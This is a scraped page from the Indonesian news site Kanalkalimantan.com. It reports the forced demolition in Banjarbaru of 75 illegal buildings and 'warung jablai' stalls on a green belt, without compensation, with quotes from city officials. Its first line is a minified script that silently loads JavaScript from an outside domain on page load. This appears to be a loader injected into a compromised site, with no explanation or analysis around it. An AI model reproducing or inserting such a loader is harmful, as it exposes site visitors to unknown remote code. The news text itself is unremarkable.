(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Berada di Jalur Hijau, Bangunan Liar dan Warung Jablai Dibongkar Tanpa Ganti Rugi


KANALKALIMANTAN.COM, BANJARBARU – Pembongkaran paksa bangunan liar dan warung jablai di Jalan Trikora-simpang LIK, Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang, Kota Banjarbaru, tanpa ganti rugi dari Pemerintah Kota (Pemko) Banjarbaru.

Sedikitnya 75 bangunan liar dan warung jablai tersebit dibongkar menggunakan satu buah alat berat dan secara manual anggota Satpol PP Banjarbaru, Senin (2/1/2023) pagi.

Kepala Dinas Perumahan dan Permukiman (Disperkim) Banjarbaru, Muriani mengatakan, pembongkaran ini akan dimaksimalkan dengan alat berat dan tenaga manusia yang tersedia.

 

 

Baca juga: BREAKING NEWS. Pembongkaran Bangunan Liar dan Warung Jablai di Lianganggang

“Kita maksimalkan yang ada, kalau tidak baru kita menambah alat,” ujarnya di lokasi pembongkaran kepada Kanalkalimantan.com.

Pembersihan ini dilakukan karena bangunan yang berdiri berada di jalur hijau, sehingga harus dilakukan pembongkaran dan akan dibenahi secara bertahap.

“Tali asih tidak ada, karena bangunan ini ilegal alias liar,” ungkapnya.

Bangunan liar dan warung jablai di Jalan Trikora-Simpang LIK Kelurahan Landasan Ulin Selatan akhirnya dibongkar paksa Pemerintah Kota (Pemko) Banjarbaru, Senin (2/1/2023) pagi. Foto: ibnu

Adapun bangunan yang berada di jalur hijau, kata Muriani, harus mundur dari bahu jalan. Sedangkan yang diperbolehkan di jalur hijau hanya taman.

Baca juga: Terlibat Laka Maut, Pengemudi Ojek Online di Banjarmasin Meninggal di Tempat

Sementara itu, Sekretaris Daerah (Sekda) Kota Banjarbaru, Said Abdullah mengatakan, pembongkaran 75 bangunan liar dan warung jablai ini sudah melalui surat teguran 1, 2 dan 3.

“Ada sebagian warga yang membersihkan sendiri, yang belum dibongkar dibersihkan dan diangkut ke TPA,” katanya.

Bangunan liar dan warung jablai ini, kata Sekda Banjarbaru, akan dibersihakn semuanya menggunakan alat berat yang ada, kalau kurang akan ditambah. “Semuanya akan dirobohkan hari ini,” tegasnya.

Puluhan bangunan semi permanen ini melanggar Perda Nomor 6 Tahun 2022 tentang bangunan yang tidak memenuhi ketentuan persetujuan bangunan gedung (PBG) dan bangunan yang digunakan untuk tindak asusila dengan regulasi Perda Nomor 6 Tahun 2014. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

2 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

2 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

3 jam ago

Serahkan Eco Office Eco School Award 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More

3 jam ago

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

16 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

17 jam ago

This website uses cookies.